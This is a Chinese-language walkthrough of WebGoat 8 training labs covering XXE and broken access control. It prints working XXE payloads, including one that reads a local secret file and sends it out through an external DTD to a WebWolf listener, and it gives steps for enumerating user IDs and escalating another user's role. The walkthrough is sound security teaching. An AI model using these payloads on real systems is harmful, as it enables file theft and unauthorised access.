(A4) XML External Entities (XXE)

XEE

Stage 4

把请求的XML改成这样:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY js SYSTEM "file:///">
]>
<comment>
<text>&js;</text>
</comment>

Stage 7

虽然请求是用的json,但是我们可以直接把Content-Type改成application/xml,把上面的xml再发一遍就行了。Stage 8是完整的解题过程。

Stage 8

在WebWolf里上传文件a1.dtd。

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % write "<!ENTITY send SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">

在提交评论时,把提交内容改成下面的内容。

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///c:/Users/[计算机用户名]/.webgoat-8.0.0.M17/XXE/secret.txt">
<!ENTITY % getdtd SYSTEM "http://127.0.0.1:9090/files/[webgoat用户名]/a1.dtd">
%getdtd;
%write;
]>
<comment> <text>1&send;</text></comment>

然后在WebWolf里面就能看到对应请求了,把内容输入评论即可。

Stage8_flag

因为同一个DTD内引用上面定义的参数,因此这里需要放一个DTD到服务器上,变成外部DTD。就可以引用到上面定义到的参数了。

(A5) Broken Access Control

Insecure Direct Object References

Stage 2

用户名Tom,密码cat,登录。

Stage 3

请求传回,但没有显示出来的内容:userId,role

Stage3_diff

Stage 4

这是符合REST设计理念的API,让你猜测如果查询profile时要指定userid的url。很简单,就是WebGoat/IDOR/profile/2342384

Stage 5

第一步,题干要求查看别人的profile,根据hint,把userid加一,但好像没用,一个一个试,发现userid为2342388。传回来中有一段json。Stage5_other_profile

下一步是要修改别人的profile,既然是RESTful应用,那么修改数据就是PUT,按照要求,把role数值改大,color改成red,成功。

Stage5_edit_profile

说到底,出现这种漏洞的原因是服务端没有做好身份认证。

Missing Function Level Access Control

Stage 2

随便翻翻html就能找到,隐藏的是UsersConfig

Stage2_hidden_div

提交后有一个小提示,其中的一个url在下一个任务会用到。

Stage 3

发送请求到http://127.0.0.1:8080/WebGoat/users就可以看到Hash了。

参考

  1. WebGoat8 M17 XXE 全思路、题解与答案 - CSDN